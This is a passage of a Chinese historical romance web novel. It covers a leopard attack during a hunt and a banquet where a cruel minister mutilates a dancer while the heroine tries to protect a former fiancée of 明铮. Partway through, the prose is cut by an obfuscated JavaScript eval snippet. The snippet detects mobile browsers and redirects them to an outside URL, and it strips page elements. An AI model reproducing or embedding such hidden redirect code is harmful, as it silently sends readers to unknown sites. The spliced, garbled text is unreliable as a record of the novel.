归梦回过头去,试探地道:“你伤在右肩……是不是刚才拉弓的时候用力牵动到的?” 旷野中,夜空被一轮明月照耀着,银白色的光芒打在归梦素白的芙蓉秀靥上,显得她单纯而圣洁。祖遐看着她关心自己,似乎肩背上的痛也不是那么难忍了。他用研究的眼神望着她,似笑非笑:“你是要为我诊治吗?” 俩人挨得极近,归梦能感觉到他说话呼出的气息,包括他身上传来的热量,让她忍不住红了脸。 “我不过问问 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马儿瞬间受惊,四蹄僵住,原地打转,再不肯向前一步。好在祖遐骑术极佳,安抚住了躁动的马。 归梦喃喃道:“这是……今日田猎放出来的花豹。” “不错,看样子,它已饥肠辘辘了。”祖遐边说边下意识地去摸弓箭,却忽然想起,方才射杀群狼之时,箭矢早已用完。 花豹根本不给他们喘息的时间,已经嘶吼着扑了上来。在它眼中,这匹马,抑或是马上的两个人,都将是它腹中的美食。 祖遐从怀中掏出一把匕首,沉声道:“抱紧马脖子,坐稳了!”说着抬手将匕首狠狠刺入马臀,马儿吃痛,撒开四蹄,载着马上二人没命地狂奔起来。 那豹子紧跟不舍,就贴在马身一侧,张开满是馋涎的嘴就试图去撕咬马腿。 马儿后腿被咬中吃痛,无力奔走,后腿软倒,前蹄扬起,顷刻间将归梦与祖遐颠下马来。 归梦双手搂不住马脖子,身体后仰坠落在地,却奇异得没感觉到疼痛,身下并不是坚硬的土地,而是温热的身躯。 原来祖遐在那刹那翻身用他自己的身体护住了她。她只是摔在了他的身上。 随着马儿倒地,那花豹很快弃了马,把目标转向了二人。 “跑!”祖遐朝归梦叫道,随即握着匕首与花豹缠斗在了一处。 归梦吓得怔住了,站在原地看着祖遐与花豹斗了几个回合,才反应过来,踉踉跄跄地转身跑开。 她跑了几步,脚下绊到一块石头,登时摔倒在草地上,手掌手肘磕得生疼,眼泪不争气地涌了出来,眼前一片模糊。 得去搬救兵救祖遐!她伸手胡乱抹去泪水,张皇四顾。原来他们已经出了林子,可是四周依旧一片漆黑。 她去哪里叫人?也许等她叫来了人,祖遐已经…… 想到这,她不知道哪来的勇气,顾不得刚才摔得浑身都疼,毅然回头,朝祖遐的方向奔去。 她奔到近旁,看到祖遐身上的衣衫已破了几处,花豹也受了伤。一人一豹正在对峙,花豹虎视眈眈地预备再次进攻。 归梦从地上搜寻到一块碎石块与一根粗树枝拿在手里。 祖遐见她出现,骂道:“笨丫头,回来做甚?” “我……” 那花豹又嘶吼着再次扑了上来。 她惊叫道:“小心!” 祖遐伸手大力将归梦推开,自己则闪身避过这一扑。他手上匕首寒光凛凛,如闪电般迅速在花豹肚子上划出一道伤口。 疼痛激怒了花豹,发起了更猛烈的攻势。 归梦吓得尖叫都忘了,她挪动着发软的双脚,企图用树枝去攻击豹子,却发现自己根本毫无出手的章法。 祖遐肩膀受伤体力不济,还要分心顾着归梦,一时大意被花豹扑倒在地。他右肩有伤使不上劲儿,仅能依靠着左手的力量,卡住花豹的头颈,让那张满是馋涎冒着腥气的大口无法咬下。 眼看祖遐和花豹胶着在一起,归梦将手上的东西一股脑地朝花豹丢去,却丝毫无济于事。 她颤抖着手捡起祖遐掉落在一旁的匕首,双手紧握用尽全力,噗的一声刺入了花豹的身体。 花豹嘶吼一声,终于松开了祖遐。那匕首一半的锋刃没入了花豹的臀部,并不致命,却激起了它的困兽之斗。 花豹弃了躺倒在地喘息不已的祖遐,纵身朝归梦扑来。 40. 与君同 归梦双腿一阵发软,想向后退去,却不听使唤,怕得浑身都在颤抖。 就在花豹恶狠狠朝归梦扑来的瞬间,归梦吓得紧闭双眼,却没有预想中的疼痛。 她缓缓睁开双目,原来,千钧一发之际,祖遐竟纵身而上,拼尽全力双手揪住了豹尾,令花豹不能再向前一步。 这举动无异于自杀,空门大开,花豹只要一回头,利爪就可以抓破他的脑袋。 他们才不过见了两面,相处了一天不到的时间。怎么此刻他就要为了救她毙命于此? 她双手颤抖着胡乱地从头上摸到了发钗,拔了下来。拼了!花豹的爪子就要朝祖遐落下,她没有办法眼睁睁看着。 说时迟那时快,她就要不顾一切地揉身扑上。不知何处飞来一支羽箭,“噗”地一声精准地贯穿了花豹的脑袋。 花豹的利爪无力落下,身体微微一抖,颓然倒地再不动弹。 归梦心神俱颓,也坐倒在地。 约莫百步之外,明铮一身白衣,如同天神一般,临风立于马上,衣袂翩然,月华高洁。他神色复杂,握着弓箭的手正缓缓放下。 黑夜中他的眼睛好似天上的星子般明亮,隐隐含着关切。 原来,他也是会关心人的。可是他的关心,是对她吗? 归梦怔怔坐着,半天回不过神来,是死里逃生的一阵后怕。 顷刻间,纷杂的马蹄声越来越多越来越响,还有越来越明亮的、正在移动着靠近的点点火光——大队人马来了。 祖遐捂着伤口,努力慢慢站起身,看了看愣愣出神的归梦,又望向马上的明铮,静静道:“远书,好箭法。” 为首的是太子萧益,他身边携着一脸焦急的紫芽,拄着手杖赶来。 紫芽已急得哭了,赶忙上前扶起归梦检查伤势。 萧益给归梦披上自己的披风,见她一身狼狈,忍不住关切地责备:“才不过半日没看着你,怎么就弄成这样?” 归梦这才意识到自己一身尘泥,蓬头垢面,外衫也扯破了,而明铮就在近前。她忙侧过身子,伸手理了理头发。 “你们快随我回去,让医官诊治。”萧益总是那么贴心体谅,并不急着问什么。 这是昏沉的一觉。归梦醒来,发觉自己已换上了干净的衣衫,手脚的擦伤也都已上过药了。她微一侧头,就看到了守候在床边的紫芽。 紫芽以手支额,睡得极为醒觉,见归梦醒来她满面惊喜:“谢天谢地,梦娘你总算醒了。现下觉得如何?” 归梦抬起手掌看看,擦伤的地方上过药已快愈合了,早已不痛了,只是身子仍有些倦怠。 “我无事,你放心。”她边说边掀开被子,下床活动活动手脚。想起昨日经历了摔马、射狼、刺豹一系列惊险万分的事,又几乎不饮不食了一天。简直像是一场大梦,对于过惯了太平日子的她来说如同劫后余生一般。 紫芽嗔怪道:“还说呢,昨日我和太子殿下刚找到你,你就昏过去了。吓得我三魂去了两魂半……” 归梦“咦”了一声,难怪,她如何回到住所的,竟是全无记忆了。她只记得明铮射死了那头豹子,萧益和紫芽找到了她。 “昨日?” 紫芽叹了口气:“梦娘,你已经睡了一夜半日了,眼下已是正午。” 归梦这才注意,室内昏暗并未点烛火,外头日光也不盛,乃是阴天。 “我竟睡了这么久……” 紫芽端来了饭食:“梦娘一定饿了。虽是晌午了,可你刚醒来,又受了伤,不宜太多荤腥。还是用些清淡的。” 桌上摆着细米白粥、面饽饽、油盐炒枸杞芽儿、卤鸡脯等食物。满满一桌,看着清爽又落胃。 归梦从昨日起就几乎没有进食,想来是又累又饿加上受了惊吓才会晕倒。眼下见了食物,自然是风卷残云。 饭后,紫芽又拿来茶水让归梦漱口。 “这桓超不愧是当朝第一权臣。仅仅是一个田猎的别院,一饮一食都如此精致。若我没有品错,方才漱口的茶水当是进贡御用的“玉山白芽”。这种茶,即使是在宫里也没有多少。可是在桓超的别院,却拿来作漱口之用。啧啧……”归梦感慨不已。 看着归梦精神大济,还有心情研究茶水,紫芽忍不住双手合十,欣慰道:“阿弥陀佛,神佛保佑。昨个看到你后襟上那么一大块血渍,差点以为你不活……呸呸呸,好在平安无事。” 归梦奇道:“后襟?我背后并不曾受伤啊。” “可是后襟上确实濡湿了一大片血迹呢!那脏衣我已然丢掉了……” 归梦细细回想,难道是豹血?不对,那豹子并不曾触碰到她,即便有血溅到身上,也不会是在后背有大片的血迹。那只可能是…… “梦娘,该上药了。”紫芽拿来一个小小的青花圆钵,盖子打开,里面是半透明的晶莹白色膏体,散发着清凉芬芳的气味。 归梦奇道:“这是什么?” “哦,这是桓大人特地命人送来的药膏,说是对止血化淤愈合伤口有奇效,并且气味好闻还不会留疤痕呢。” 归梦一把从紫芽手上抢过那个圆钵:“我去去就回。” “哎——”紫芽急道:“外头眼看着要落雨了!你若是要送药给那祖公子,我替你跑一趟就得了。” 归梦踌躇了一下,摇摇头道:“他昨日不止一次救了我,因此我才只受了一些轻伤。我若不亲自去探望一下,于心难安。” 暖阁中,归梦正等着侍女入内通报,却见内室的门打开了,明铮带着一名医官走了出来。 归梦的视线一撞上明铮,便定住了。 明铮的目光却只短暂在她身上停留游移了一下,不发一语地施了一礼,还未等归梦说话,他便转身礼貌地送了医官出门。 归梦听见那医官对明铮小声叮嘱:“箭疮迸裂,务须静养,否则……” 二人似在探讨病情,只是人渐渐去的远了,声音已分辨不清。 紫芽见归梦的目光追随着明铮的背影,忍不住叹了口气,出声提醒道:“梦娘,你不是来探望祖公子的吗?” 归梦闻言如梦方醒,勉强收摄心神,提裙缓缓步入内室。 内室并未挑灯,只开了窗透气,可那阴沉昏暗的天光愈发显得陈设简单的内室清冷孤寒,唯有地上那座青铜盘螭百合大鼎散发着袅袅白烟,释放着一些暖意。 归梦放轻脚步向里走去。 祖遐身着中衣,只披了件外袍,斜倚在榻上。他的嘴唇苍白少了血色,看上去气色有些衰败。 他本阖目在休息,听到声响睁开眼睛,见是归梦,颇有些意外。 “我……来看看你,你可好些了?” “这点小伤还死不了。”他淡淡道,顿了顿又道:“你呢?”打量她一番:“看起来是无恙了。” 归梦点点头:“多亏了你,我并没受什么伤,只是擦破点皮。”她此时面对这样一个为她受了伤的男子,竟变得木讷笨拙起来,站在他面前有些手足无措了。尤其是祖遐浑不在意的态度,让她摸不透。 “你手上是什么?”他忽问。 归梦被提醒了这才想起来。她把手上的青花圆钵放在桌上。 “哦,据说这个药治红白伤很灵验,拿来给你试试。” “借花献佛吗?”祖遐揶揄道。归梦随着他的视线望去,原来在他榻边一角的小桌上,堆满了各种瓶瓶罐罐的伤药,自然也包括自己送来的这一种。 她真傻。祖遐带兵守土,是国之股肱。太子和桓超自然会格外紧张他的伤势,有什么灵丹妙药肯定早早地就送来了,哪还需要等她来转送。 祖遐见她有些窘迫,不由温声道:“这点皮肉伤休养几天就没事了。” 归梦想起医官说的话,脱口道:“我说的是你右肩的箭伤……” 他弯弓射群狼的时候引发旧伤,又听医官说是箭疮迸裂,那必然 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怎能算是扯平呢?他会在摔下马时用自己的身体接住她,遇到危险会让她先离开,自己留下一人对付豹子,会在豹子发狂扑向她时奋不顾身地用残余的力气拉扯住豹身。 那时她的手紧张得颤抖得几乎握不住金钗,若不是明铮及时赶到,一箭射杀了花豹,她也许会被豹子咬断手掌。 祖遐目光所及,坐在他榻前一丈远的桌案前的少女低垂着眼,如鸦翅般长而浓密的睫毛在眼下投出一小块阴影。 她现下出神的样子看起来倒有些文静内秀了,与昨日判若两人。 他生平从未见过一个姑娘家能那么彪悍勇敢,明明怕到了极点,却敢拿着金钗去刺豹眼。那情形带给他的震撼无以复加。 “当然不能算扯平。”归梦抬首微笑,很是郑重:“无论如何,你这番舍身相救,我会记在心里。” 顿了顿,她深吸一口气,小心措辞:“听家母说,太君有意撮合你我,是这样吗?” 祖遐浓眉一轩,他不曾想这少女竟毫不避讳也不害臊地主动提了出来。 他将身体直了直,轻轻颔首。 室内沉默安静得出奇。只听到外面渐渐有了雨声,雨滴噼里啪啦打在了窗棂上。 “你怎么想?”半晌,两人异口同声地问。 同样地话一出口,倒像是有了一种默契。两人都是一笑。 “我……”归梦刚说了一个字,就被祖遐一阵咳嗽声给打断了。 “紫芽,去关窗,把灯点上。”归梦呼唤守在内室门口的紫芽。 随着窗户掩上,烛光燃起,室内多了些暖意。紫芽又送了热茶来,继而悄悄退下。 归梦手捧着温热的茶盏,看着静静望着她的祖遐,鼓起勇气:“我想告诉你——我已有意中人了。” “是谁?”祖遐饮了口茶,淡淡问道。 “是……明铮。”归梦也不知道为什么会这么直接地对祖遐说出来。即使亲近如太子,抑或是表哥谢炅,她都不曾直言相告。反倒是对这个只见了几次面的祖遐,她坦白了自己的心事。 或许是因为她和他曾经同生共死,也或许是因为感念他舍身相救,她不想对他有任何的欺瞒。更因为他们之间有还没定下来的婚约,她早些分说清楚,也免了后续的麻烦。 祖遐的神色毫不意外:“我知道。” “你知道?”归梦讶然。 祖遐那双浓眉下幽黑深沉的眼珠沾染了一些淡漠,似乎有些倦意。“从你每一次看他的眼神。”顿了顿,他又道:“这也不奇怪。远书他向来是众星捧月……想追逐他,你有苦头吃了。”他唇角轻勾,似是嘲弄。 归梦垂下头,低声道:“承蒙太君错爱……我不想瞒你。”她看着他:“你是我第一个主动告知的人。” “他也喜欢你吗?” 归梦轻叹着摇摇头:“我不知道,不管前路是否崎岖,但至少,现在我还不想放弃。” 41. 枉凝眉 “你倒是坦白。”祖遐的眼眸中倒映的烛火光影摇曳不定:“特地过来便是为了告诉我这个?” 归梦忙道:“当然不!我确实担心你的伤势。我瞧你与我一样也是耿直的性子,所以才直言相告……” 祖遐冷冷打断她:“你救过我祖母一命。但使你有所求,祖某自当满足。” 他侧身躺了下去,不再理她。 归梦见话已说清楚了,便轻轻退了出去,将内室的门掩上。 廊前的屋檐下滴滴答答落雨不停,暴雨如注,打在廊下与石阶上,激起一阵水雾。 原来雨竟已这么大。 冬日的雨最是寒凉。 紫芽拿着伞迎了上来:“梦娘,身上有伤,仔细染了风寒。” 归梦心里沉甸甸的仿佛压了一块石头。 倘若她的话不小心伤了祖遐,那也只能伤了。他于她有相救之恩,她本该报答,但她不能把她的终身大事作为感谢的报酬。 更何况,若论救命之恩,明铮也曾经救过她…… 本是两日的田猎,因着归梦与祖遐出了意外,也因突如其来的暴雨被迫结束。 申时,太子特地来探望归梦的伤势,见到她已无大恙便也放下心来。他念在归梦和祖遐身子有伤,本免了他二人出席晚间的宴会,但是归梦却坚持要参加。 她本就是为了多见明铮一面才央着太子带她来此次田猎的,若是晚宴不去,岂不是又少了次见到明铮的机会。 何况她已从太子那得知,此次田猎中明铮收获不少,桓超似乎格外赏识他,认定他为此次田猎的头筹。 依照常例,每次田猎的头筹必是有奖赏的。不知今晚的饮宴,明铮会得到什么嘉奖? 骤雨初歇的夜,空气中弥漫着清冽的寒意。 归梦携着紫芽走到饮宴的大厅外,见着一列姿容俏丽、装扮轻薄的舞姬同手拿器乐的乐师匆匆经过,绕过厅堂朝后面去了。 她蓦地停下脚步。 紫芽关心道:“梦娘可是伤处疼吗?” 归梦摇摇头,许是看错了,她总觉得那列姬人里有一个背影有些熟悉。 今日宴会,明铮的位置被安排得极为靠前,太子萧益坐在主位,桓超坐在左首,右首便是明铮。 他一袭青衫,整个人恍如雨后青松翠柏,朗逸出尘。面上依然还是淡淡的笑,似乎坐在哪里对他来说并无区别,宠辱不惊。 归梦在宴会前就跟萧益提过,希望这次能坐在不起眼的位置,他果然如约办到了。归梦的左右两侧都是平日并不熟悉的一般士族子弟,也免了烦扰。 她在不起眼的末席远远看着,桓超这样一个传闻中野心勃勃的大权臣,外表虽气势摄人,但对待明铮这样一个出身不够高的寒门晚辈,他竟表现得亲切热络,十分随和。桓超这般态度,自然引得一众高门子弟明面上附和追随,只暂时把对明铮的不满藏在肚子里。 在众人眼里,明铮这样一个寒门庶族,先是凭借裙带关系得了太子的抬举,如今又有桓大官人的赏识,当真是如鸟雀飞上枝头变凤凰一般,岂能不遭贵族们的嫉恨鄙夷? 上首几位相谈甚欢,推杯换盏。太子与桓超聊得兴起,二人时不时大笑几声。明铮则是恭谨谦逊,不卑不亢,对答如流。 酒过三巡,夏侯权忽走到太子与桓超身旁,低声说了几句。桓超大手一挥,吩咐了什么下去。 有内侍轻轻击了击双掌,大厅中丝竹之声悠然响起。 数十名绾着垂髻,艳丽妖娆的歌舞姬鱼贯而入,翩翩起舞。 她们容颜妩媚,姿态婀娜,随着舞姿摆动的一双双裸露的雪白玉臂令人目眩神迷。 一曲柔靡歌舞方罢,忽听一缕清越的笛声悠扬而起,宛转悦耳如清泉流响,又似轻云出岫。众人循着笛声望去,只见训练有素的舞姬围成一个圆圈,如众星拱月一般聚拢再散开。 众女散开,那圆圈包围的中间正立着一位吹笛的美人。她一身轻绢白衣翩然出尘,满头青丝只用琉璃晶珠串松松绾就,纯净得恍如瑶台仙子。 一双纤纤素手握着一支翠绿的碧玉笛,当胸横吹,面上一幅长长的绢素纱巾垂下,轻遮了半张娇容,但那露在外面的眉眼已是极美。 眉如淡柳笼烟,眼似明月秋波。那左边眉上还有一点嫣红如血的朱砂小痣。 美人纤腰一拧,脚下碎步旋身转开,竟是一边吹奏一边跳起舞来,裙摆不长,恰好露出纤细秀气的足踝。她赤足踩在大厅的绒毯上,足踝上的一串莹白的米珠细链似乎随着她的舞动发出清脆的声响。在场的男子大半都被她白嫩小巧的裸足吸引了目光去。 归梦忍不住看向明铮,他和所有人一样,正欣赏着美人的曼妙舞姿与笛声,嘴角噙着一丝若有若无的笑意,浑若无事一般。 归梦仰脖灌下一大口酒,她受不了明铮被别的女子吸引,即使这个人是…… 她不信他听不出来,这样的笛声,听了便再难忘记。纵使只看到那美人半遮的容颜与背影,可就凭那颗朱砂痣与这笛声,她也可以确认,这就是莳花楼的锦瑟,也是明铮那曾经订了亲又在婚礼上被归梦引着逃了婚的宋华年! 难怪!难怪当初莳花楼不肯告知锦瑟的去处,原来她是入了桓府做了家伎。 震惊、悲哀、愤怒、怜悯,一齐涌上归梦的心头。纵然只是与宋华年短暂相交,她也不忍见她沦为贵族豢养取乐的玩物。 笛声消散,宋华年领着身后一众歌舞伎翩翩上前,朝着太子为首的一众宾客盈盈下拜。 桓超面有得色,朝萧益笑道:“这是臣近来收入府中的乐伎,颇善吹笛,殿下以为如何,可还能入耳吗?” 萧益抚掌赞道:“色艺双绝,笛声恍如天籁,确实不同凡响。” 王子野在旁戏谑道:“殿下并未看清此女全貌,便夸其色艺双绝,万一这面纱下的下半张脸丑若无盐,那可如何是好?” 他笑道:“素闻桓公府上的歌舞乐伎,技艺均是一等一的,果真是如此。只是不知这美人的面纱可否除下,让我等一睹芳容?” 桓超朗声笑道:“她啊,什么都好,就是面皮太薄,害羞得紧。你们若想观其真容,尽可各显神通。若有人能让她甘心摘了面纱,老夫情愿将她相送!” 此言一出,厅上的一众男子均有些跃跃欲试,只是碍于面子无人争先。 “当真?”徐三郎问道。 虽然看不清下半张脸,但是这女子的风韵身姿,一眉一眼均透着娇柔妩媚,行走间如弱柳扶风,显然是个罕见的绝色佳人,何况又身负精妙笛艺,若是能收入府中为姬妾,当真是妙事一桩。 桓超哈哈大笑:“老夫一诺千金,说得出便做得到。”当下脸一扬,很快有内侍用黄铜托盘端了酒杯上来,众女会意,如流云般散开,一人依到一位男宾身旁,娇声敬酒劝酒。 宋华年取了一杯酒,缓步走到太子身前,双手捧着,柔声道:“奴家恭敬太子殿下。”说完,轻拂面纱下摆饮尽了杯中之酒。 萧益素来仁厚,从不因自居高位而对下人或平民倨傲,当下淡淡一笑,饮了一杯。他温声道:“女娘好笛艺,不知芳名何许?” 宋华年恭谨答道:“奴家本姓宋,单名一个伊字。” 徐三郎在旁早已按捺不住,插口道:“一字是何写法?是‘所谓伊人,在水一方’的伊呢,还是‘小鸟依人’的依?” 宋华年尚未答话,桓超浑厚的嗓音已响起:“是‘伊人’的‘伊’,这名是老夫赐她的,可还贴切?” 众人连连点头附和。 “妙,确实贴切,贴切得很!”徐三郎赞道。 桓超似是无意,不无叹息道:“宋伊原也是官宦之女,不幸流落风尘……” “怪不得!”众人恍然,徐三郎更是愈发痴迷。他听着宋华年语声清婉娇软,似有扬州口音,美目流盼间透着一丝凄婉与幽怨,举手投足气质高雅,浑身散发着江南女子的灵秀之气。 他当即整了整衣衫,越众而出,丝毫不顾身份,朝宋华年一揖:“在下徐三,宋姑娘有礼了。”顿了顿,他看着那双如秋水般的美目,有些紧张:“徐某渴求一睹宋姑娘真容,企盼宋姑娘摘下面纱一见。” 此时厅中之人均乐得旁观,谁能想到原本寻常的夜宴还能有此余兴节目。眼看着这徐三郎伏低做小,竟向桓府一个身份低微的家伎求要面纱。 二人身份悬殊,这戏码真是越来越有意思了。 宋华年沉默片刻,语调疏离带了些微的歉意:“对不住,奴家姿容粗陋,是以用面纱覆面,实恐污了尊眼。”说着又拿起一杯酒,朝着徐三郎致意一饮而尽,接着便转过身不再理他。 徐三郎一腔热情瞬间被扑灭,闹了个大红脸,站在原处进也不是退也不是,颇为尴尬。 一旁有人调笑着安慰道:“三郎,这也没什么,人家姑娘没看上你罢了。” 众人见此结果,反倒更兴致勃勃,想看看究竟何人能让宋伊心甘情愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633797|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地摘下面纱。 归梦默默看着厅上发生的一切,她看着宋华年正依次向每一桌敬酒,厅上一众男宾的目光都聚焦在她身上。就像盯着一盘诱人的点心,谁都想尝上一口。 有什么办法可以帮她解围呢?归梦心中急想对策,一时苦无头绪。她遥遥望着明铮,他神态自若地饮着酒,仿佛这一切都与他无关。他的眼中看不见那些试图调戏宋华年的孟浪贵族,也看不见苦苦支撑已是摇摇欲坠的宋华年。 宋华年已经敬到了夏侯权这一桌。她刚把酒斟满,夏侯权却端起酒杯笑道:“今日我微感腹痛,恐怕宋姑娘这杯酒我是喝不了了。” 宋华年闻言娇躯微微颤抖,险些握不住酒杯,杯中的酒也不小心洒了一些出来。 与此同时,席间一位士族子弟也冲身边劝酒的舞姬发了火:“我说不饮便是不饮,今日饮够了!” “桓公,您府上的规矩应该没变吧?”夏侯权侧头笑着问道。 桓超饮尽一杯,示意身边侍女再给满上。 “老夫定下的规矩什么时候变过?不能使宾客尽欢,便是无用。来人,将她拖下去,砍一只手。” 厅上众人闻言无不变色。 有侍从将那名吓得浑身瘫软的舞姬拖到厅外。凄厉的叫声从厅外传到厅内。 很快,一只惨白而鲜血淋漓的断手被置于托盘中呈了上来。 归梦浑身的汗毛都竖了起来,血液似乎都要凝结住了。远远看了一眼已忍不住胃中翻滚汹涌,直欲呕了出来。 仅仅是因为宾客不愿饮酒就要砍掉这些女娘的手,何其残忍! 这桓超当真是个笑面虎,口蜜腹剑笑里藏刀莫不如是。他谈笑间便让一个美貌舞姬变为终身残废,实在是可怕。 没法子了,她总不能眼睁睁看着宋华年被砍手。归梦义愤填膺,立刻就要起身上前,却被紫芽死死按住。 紫芽劝道:“忍一忍,先看看明公子作何反应再说。” 归梦低声怒道:“他简直是个活死人!他的心是冰做的,我看他什么反应都不会有!” 上首座上,萧益面色铁青,只是桓超处置自己的家伎,他也无法置喙。 夏侯权仍是满眼森然笑意,望着面前仍低头奉着酒杯的宋华年:“宋姑娘,对不住了,这杯酒我实在饮不下,恐怕你也要吃点苦头了。” 眼看着门外的侍卫走进来就要拉走宋华年。归梦的心也提到了嗓子眼。 明铮仍是没有任何阻止的意思。 徐三郎面有不忍,劝道:“夏侯兄,宋姑娘这等美人,又笛艺无双,若要沦为残废,那可太可惜了……“ 夏侯权则是一副打定主意不喝的样子。 另有一名士族子弟笑道:“徐兄说的也有些道理。不如这样吧,宋姑娘既劝不动酒,那便动动手轻解罗裳,所谓‘秀色可餐’,我等一饱眼福,说不定便能多喝几杯了……”淫亵的眼神只来回在宋华年身上打转。 宋华年闻言,默然不语,只是纤细的背脊颤抖起来。 无耻之尤!归梦心头火蹭地一下蹿了起来。长袖一摆,面前桌案上的酒壶酒盏顿时打落一地。 萧益遥遥望见,眼神安抚了下。他轻咳一声,俊眉蹙起,淡淡道:“他吃醉酒了,扶他下去。这席上还有女客在,诸位言辞请检点一二。”说着挥了挥手,将那言语下流的男子请下了席去。 太子素来宽厚,他出口惩戒,众人自是收敛了些。 王子野笑着打圆场:“夏侯兄,你虽不能饮,但这酒让旁人代饮,也不算坏了桓公的规矩吧?” 方才那名发脾气的士族子弟也顺势举起酒杯,陪笑道:“是呢,这美人断手,岂不大煞风景。桓公设宴美意,小可却之不恭。”说完又强自饮尽一杯。 这些贵族身居高位,心性冷漠,自然不会在乎舞姬的性命,他怕的是因此得罪了桓超。 桓超面露微笑,挥挥手命侍卫下去了,继续把酒言欢。这厅上氛围才再度活跃起来。 众人心知肚明,桓超的权势如日中天。算起来他是皇帝的妹婿,是太子的姑丈,比太子还长了一辈。这些年手中兵权越发重了,随之而来的是膨胀的野心和燃烧的气焰。便是另外三大世家也不敢轻易得罪。 夏侯权抬了抬手,命侍女换上了大酒盏,将其斟满。他笑嘻嘻地拉着宋华年走到明铮面前,满眼挑衅:“明兄,我身子不适,今日我的酒你就全代我饮了吧!”说着,扬了扬脸,催促宋华年向明铮敬酒。 42. 胭脂泪 夏侯权见宋华年呆立不动,笑嘻嘻地伸手揽住她的肩头,凑近她道:“这位应该不用给你介绍了吧?当朝的太子洗马,建康城中最负盛名的美男子——明铮明大人。” 宋华年本怔怔看着明铮,被夏侯权一揽一凑近说话,立时如梦初醒,慌忙试图挣脱。 夏侯权面色陡沉,用手臂把她紧紧箍住,不允许她挣开。 他似乎刻意要在明铮面前折辱她。 那泛着热气的嘴唇贴到她耳侧,语气充满了轻蔑与威胁:“你忘了是谁把你从莳花楼买出来的?嗯?叫你敬个酒别装模作样的!” “是。”宋华年挣脱不得,低低应了一声。夏侯权的嘴唇几乎触到了她的耳垂。纵使轻绢半遮面,也能看到她的脸已经红到了耳朵根,双目也隐隐含着泪水。 一双素手捧着酒盏递到了明铮面前。宋华年低垂着眼眸,避免着目光与明铮交汇。 夏侯权在旁,笑着提醒道:”明兄,你若不满饮这杯烈曲,这美人可要遭殃了。“ 王子野也趁势嘲弄:”如此纤纤玉手端来的酒,就算是毒酒,也是甘之如饴啊!明兄是谦谦君子,必有惜玉之心。“ 烈曲,是最烈酒劲最大的酒种。归梦曾经喝过一小杯,只一小杯,便醉得不省人事。 今夜宴上,明铮被桓超频频劝酒,本就饮了不少。若是再喝下这么一大盏,不知会成什么样…… 夏侯权王子野等人分明是存心等着看明铮的笑话! 可若是不喝……归梦前一刻还在气明铮对宋华年的无动于衷,这一刻又忍不住为明铮担心起来了。 她看到明铮笑笑接过了宋华年手中的酒盏,继而一饮而尽。 一盏烈曲下肚,明铮面庞上隐约闪过一丝痛苦的神色,但很快恢复如常。 “好!明兄好酒量。”王子野赞道。 他同阴沉着脸的夏侯权交换了个眼神,又走到宋华年身侧,徐徐开口:“小弟听说明兄原是有婚约的,许的是广陵员外郎宋典的幺女。只是此女逃了婚,自此下落不明了。这倒是巧了……”他嘴上在对明铮说话,眼睛却只盯着宋华年:“明兄逃婚的妻子竟与宋姑娘同姓。是了,方才听桓公说,宋姑娘你原是官宦之女。莫非……” 此言一出,席上诸人的目光都聚集了过来,那些对明铮充满妒意的贵族们都隐隐充满了快意的兴奋。这样轰动震撼的风月轶事倘若是真的,那足够让明铮声名扫地了。 宋华年娇躯轻颤,双手紧紧握成拳,纤细的指节似乎都因紧张、太过用力而发白了。 明铮却是不动声色,静静坐着,接受着各种异样的目光。 桓超仿佛来了兴趣:“哦?既是如此,宋伊,你就把面纱摘下给明大人看看。倘若你真与他那未婚妻有些相似。老夫今日倒可成就一段佳话了。” “桓公当真豪气。明兄听见了吗?如此佳人桓公都舍得割爱,看来是对明兄看重得紧哪!”夏侯权的话一半奉承桓超,一半揶揄明铮。他侧首又道:“宋姑娘,你快摘了面纱给明大人看看呀!明大人如今仕途一片光明,又生得貌若潘安。以你的身份就算不能嫁他为妻,在他身边为奴为婢也是好的。这是多少女子求不来的福分呢!” 该死的夏侯权!他早就调查清楚了宋华年与明铮的关系,此时惺惺作态,为的就是借机羞辱明宋二人。 宋华年一咬牙,蓦地双膝跪地,艰难道:“奴家蒲柳之姿,怎会……怎会是太子洗马的未婚妻?定无半分相似之处!” 王子野凤眼眯起,悠悠道:“宋姑娘,相似与否,明兄一看便知。你又何必着急?” 此时,所有人都在等着宋华年摘下面纱。她已是骑虎难下。 “我来!”一声娇喝响起,归梦越众而出,缓缓走到上首太子、桓超面前。 夏侯权不料归梦此时出来横插一脚,目光透出戒备:“你要做什么?” 归梦不理他,只朝太子、桓超规矩行了个礼。她恭敬道:“如果我没记错,桓大人方才说过,若有谁能让宋伊姑娘甘心摘了面纱,桓大人便将宋姑娘送给谁。” 桓超饶有兴味地看着归梦,笑道:“不错。老夫确是说过。” 归梦点点头,反问:“那么为何此刻诸位又逼迫宋姑娘摘下面纱呢?” 夏侯权不满他精心设计的戏码被归梦打断,不耐道:“我们何曾逼迫?只是想让明大人认一认,宋姑娘是否就是他当年逃婚的未婚妻。岑姑娘你若无事,便请回席上。” 归梦纹丝不动,将目光迎上,光洁的脸庞坦然而无畏:“那也请稍待片刻。说不定,宋姑娘会愿意为我摘下面纱呢!到时候,宋姑娘便是我的人了。不管她像谁,旁人都别想欺负了她去。” 归梦一番话说完,席上哗然。她心中虽然忐忑,面上仍装得强自镇定。 解铃还须系铃人。既然当年是她带着宋华年逃婚的,那如今这样的局面,她便有一定的责任。眼看明宋二人陷入这般难堪尴尬的境地,她绝不能袖手旁观。 “你一个女娘……”夏侯权话刚说出就被归梦大声打断:“女娘又如何?方才桓大人可并未说女子除外。我近来正想学吹笛,想请宋姑娘过府指点一二。怎么,不行吗?”她早就料到夏侯权会拿性别说事。 太子萧益沉稳的声音朗朗应和:“孤作证,确实,桓公未曾说过。在座的女公子若也有心,均可一试。” 萧益温润的双眸里含着鼓励欣赏的笑意,让归梦心中着实一暖。 归梦走到仍跪地不起的宋华年身边,弯腰伸手拉起她,悄声说:“宋姊姊,是我。” 